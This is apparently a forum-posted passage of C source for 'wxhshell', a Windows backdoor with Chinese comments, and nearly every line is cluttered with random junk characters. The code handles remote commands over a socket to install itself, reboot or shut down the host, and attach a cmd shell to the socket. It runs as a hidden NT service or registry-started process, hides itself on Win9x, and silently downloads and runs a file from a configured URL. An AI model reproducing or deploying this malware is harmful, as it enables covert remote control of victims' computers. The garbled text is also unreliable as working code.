  // 安装 |7# S0Ca@  
  case 'i': { q9 S V<qg  
    if(Install()) D`4>Wh/H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DYf3>xh>xb  
    else w|,BTM:e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B0+r  
    break; l/i7<q  
    } / biB *Z  
  // 卸载 w. c]   
  case 'r': { /gH[|d  
    if(Uninstall()) zk++#rB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aam6R/4  
    else -bP_jIZF;g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TC* 78;r  
    break; H13kNhV9  
    } t,]E5,1  
  // 显示 wxhshell 所在路径 ^]zC~LfG  
  case 'p': { a(#aEbN?d  
    char svExeFile[MAX_PATH]; xJ rKH  
    strcpy(svExeFile,"\n\r"); 3;%dn \ D  
      strcat(svExeFile,ExeFile); w7E7r?)Wl|  
        send(wsh,svExeFile,strlen(svExeFile),0); b+#A=Z+Pr  
    break; KD=W(\  
    } $ S'~UbmYU  
  // 重启 Dg=!d)\  
  case 'b': { i-FsA  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +1pY^#A  
    if(Boot(REBOOT)) I xk+y?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !Y,*Zc$R  
    else { zL@FN sYVM  
    closesocket(wsh); "6t#   
    ExitThread(0); zgn~UC6&  
    } V;IV2HT0J"  
    break; #I9hKS{  
    } oYmLJzCf  
  // 关机 f&2f8@  
  case 'd': { D.ERt)l>  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); cii! WCu  
    if(Boot(SHUTDOWN)) aovw'O\Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %] #XIr  
    else { D!WyT`T  
    closesocket(wsh); M "\j7(  
    ExitThread(0); *Sw1b7l  
    } oYR OGU  
    break; mx=2lL`  
    } hd N[wC]  
  // 获取shell ?}ly`Js  
  case 's': { SCL8.%z D  
    CmdShell(wsh); lS96sjJp@  
    closesocket(wsh); _q z^|J  
    ExitThread(0); iOrpr,@  
    break; | k?r1dj%O  
  } 6d{&1-@>  
  // 退出 5DS'22GW`  
  case 'x': { oD.[T)G?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); J^gElp  
    CloseIt(wsh); rE?Fp  
    break; c`O(||UZT  
    } UlQS]f~  
  // 离开 U+ANSW/  
  case 'q': { Me2qOc^Z-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); r7Zx<c  
    closesocket(wsh); @<ILF69b  
    WSACleanup(); ?2nF1>1  
    exit(1); yFY:D2  
    break; 'Da*MGu9  
        } ;hb_jW-0W  
  } 3R& FzLs  
  } DkJ "#8Yl=  
Nv5)A=6#AA  
  // 提示信息 jxqKPMf>@%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o"j$*o=  
} L+D9ZE]  
  } NbPNcjPL  
W,f XHYst  
  return; d:8c}t2X  
} D^ )?*(  
DIBoIWSuR  
// shell模块句柄 P$#{a2  
int CmdShell(SOCKET sock) ZG$PW< 73~  
{ k9m9IE"9=$  
STARTUPINFO si; 7CDp$7v2  
ZeroMemory(&si,sizeof(si)); QWI)Y:<K/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >K n7A  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; hl$X.O  
PROCESS_INFORMATION ProcessInfo; p;Nq(=] \  
char cmdline[]="cmd"; SIZZFihcYh  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); oM(8'{S=  
  return 0; *ry}T=  
} 9Q>85IiT  
0s!';g Q  
// 自身启动模式 mlix^P  
int StartFromService(void) 9>k_z&<  
{ 6wq>&P5  
typedef struct kp3%"i&hD  
{ Xv<K>i>k  
  DWORD ExitStatus; 3 =-V!E  
  DWORD PebBaseAddress; !2F X l;  
  DWORD AffinityMask; N|e#&  
  DWORD BasePriority; bbs'>D3  
  ULONG UniqueProcessId; Seh(G  
  ULONG InheritedFromUniqueProcessId; $pJw p{kN  
}   PROCESS_BASIC_INFORMATION; '.{_ 7U  
N?2C*|%f  
PROCNTQSIP NtQueryInformationProcess; 2rxz<ck(  
p(!d,YSE  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ajm4q_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; UY (\T8  
7yQw$zG,Iz  
  HANDLE             hProcess; } 89-U  
  PROCESS_BASIC_INFORMATION pbi; k}0b7er=R  
{s>V'+H(F  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); gC+?5_=<  
  if(NULL == hInst ) return 0; 9Cz|?71  
[H@71+_Q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8Dkq+H93  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); weH3\@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); w+u1"  
,c,@WQ2:-  
  if (!NtQueryInformationProcess) return 0; B \LmE+a>  
qLV3Y?S!L  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); rXR!jZ.hi  
  if(!hProcess) return 0; FfNUFx2N  
DY\~O  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8"}8Nrb0  
;;|.qgxc~  
  CloseHandle(hProcess); C6'K)P[p  
.(99f#2M:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); H128T8?r[  
if(hProcess==NULL) return 0; u|cP&^S  
s:3b.*t<  
HMODULE hMod; saTS8p z  
char procName[255]; :(iBLO<x  
unsigned long cbNeeded;  <H npI  
]\y]8v5(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1Qw_P('}  
DTlId~Dyq  
  CloseHandle(hProcess); p\R&vof*  
@b!W8c 6  
if(strstr(procName,"services")) return 1; // 以服务启动 dNf:I,<DCf  
O(6j:XD  
  return 0; // 注册表启动 On|b-  
} 4]#$YehM5  
6{quO# !  
// 主模块 t.#ara{  
int StartWxhshell(LPSTR lpCmdLine) ]iMqIh"  
{ A*g-pJ h  
  SOCKET wsl; Sm{> 8e}UE  
BOOL val=TRUE; _F5*\tQ  
  int port=0; GVhy }0|  
  struct sockaddr_in door; aS``fE ;O  
S=j pn  
  if(wscfg.ws_autoins) Install(); }3_ >  
L5'?.9]  
port=atoi(lpCmdLine); FGzKx9I9  
[+_>g4M~%  
if(port<=0) port=wscfg.ws_port; "n_X4e+18P  
I1 Otu~%d  
  WSADATA data; bObsj]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >g m  
FA+"t^q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [X91nUz#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \!xCmQ  
  door.sin_family = AF_INET; 6bPl(.(3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); kD0bdE|  
  door.sin_port = htons(port); >7PNl\=gG  
f> bL }L  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { rzs-c ?  
closesocket(wsl); }'*6 A  
return 1; =t`cHs29  
} i\O^s ]  
=^SxZ Bn  
  if(listen(wsl,2) == INVALID_SOCKET) { p{}4#+-<#H  
closesocket(wsl); oEX^U4/=  
return 1; 0?}n(f!S  
} X`1R&K;z^  
  Wxhshell(wsl); a{@}vZx>3  
  WSACleanup(); )_1 GPS  
j8nkNE]&   
return 0; BNj_f  
NJ]3qH  
} 6oKdw|(Q#  
x FWhr#5,  
// 以NT服务方式启动 v`{N0R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8NiR3*1  
{ tJybR"NQ  
DWORD   status = 0; #y[U2s Se  
  DWORD   specificError = 0xfffffff; *\(z"B  
+VNk#Z i  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *AYq :n6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !sSq4K  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; IrMB=pWo  
  serviceStatus.dwWin32ExitCode     = 0; dt^h9I2O  
  serviceStatus.dwServiceSpecificExitCode = 0; Zazff@O *  
  serviceStatus.dwCheckPoint       = 0; loO"[8i.k  
  serviceStatus.dwWaitHint       = 0; Bp3E)l  
5 mC"8N1)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); hHGuD2%  
  if (hServiceStatusHandle==0) return; Zk`yd8C  
c!_c, vwrn  
status = GetLastError(); 6pSi-FH  
  if (status!=NO_ERROR) x M(H4.<  
{ B\v+C!/f |  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Pc_aEBq  
    serviceStatus.dwCheckPoint       = 0; tAF?. \x"g  
    serviceStatus.dwWaitHint       = 0; nYFrp)DLK  
    serviceStatus.dwWin32ExitCode     = status; jn:_2g[  
    serviceStatus.dwServiceSpecificExitCode = specificError; pF4Z4?W  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); K)BQ0v.:[  
    return; ]"lB!O~  
  } u '7h(1@  
y TD4![  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; jx]P:]  
  serviceStatus.dwCheckPoint       = 0; @p L9a1PJv  
  serviceStatus.dwWaitHint       = 0; ;4[[T%&v  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Dlq !:dF{&  
} 5&V=$]t  
ocFk#FW  
// 处理NT服务事件,比如:启动、停止 nuXL{tg6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3f] ;y<Km  
{ vWZXb `  
switch(fdwControl) 8.[F3Tk=  
{ qyv=ot0"~F  
case SERVICE_CONTROL_STOP: !R"W2Z4h  
  serviceStatus.dwWin32ExitCode = 0; _ i}W1i  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; pYx,*kG:HW  
  serviceStatus.dwCheckPoint   = 0; PDuc;RG  
  serviceStatus.dwWaitHint     = 0; })H d]a  
  { y=Kqv^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L%T(H<G  
  } d=PX}o^  
  return; "FWx;65CR  
case SERVICE_CONTROL_PAUSE: eHuJFM  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; E4L?4>V@\  
  break; b,E?{uG  
case SERVICE_CONTROL_CONTINUE: &ASR2J  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; yGdX>h  
  break; [mA-sl]  
case SERVICE_CONTROL_INTERROGATE: :<t=??4m  
  break; \</!kY*3@t  
}; } #rTUX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); lL:a}#qxU  
} k*\Bl4g  
S^eem_C  
// 标准应用程序主函数 ( Jk& U8y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) AJbCC  
{ sD:o 2(G*  
}l|S]m!  
// 获取操作系统版本 OT%E|) 6'  
OsIsNt=GetOsVer(); ?T/]w-q>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^$K&Met  
`m7<_#Y  
  // 从命令行安装 @up,5`  
  if(strpbrk(lpCmdLine,"iI")) Install(); RpQeQM=  
#i[:oC6m:  
  // 下载执行文件 r3l1I}  
if(wscfg.ws_downexe) { iT>u&0B-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) mGjB{Q+  
  WinExec(wscfg.ws_filenam,SW_HIDE); Io1j%T#ZT  
} m2c'r3UEu  
jYHnJ}<  
if(!OsIsNt) { \8`7E1d  
// 如果时win9x,隐藏进程并且设置为注册表启动 apo)cR  
HideProc(); Vr1}Zv3K'  
StartWxhshell(lpCmdLine); cb|+6m~  
} 2 DQVl  
else <RY =y?%z  
  if(StartFromService()) j_~KD}  
  // 以服务方式启动 y9r4]45  
  StartServiceCtrlDispatcher(DispatchTable); )G/bP!^+(  
else &h-_|N  
  // 普通方式启动 gQy%T]  
  StartWxhshell(lpCmdLine); V\cbIx(Z^  
r5}p .  
return 0; BJj'91B[d  
}
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只看该作者 1 发表于: 2006-10-10
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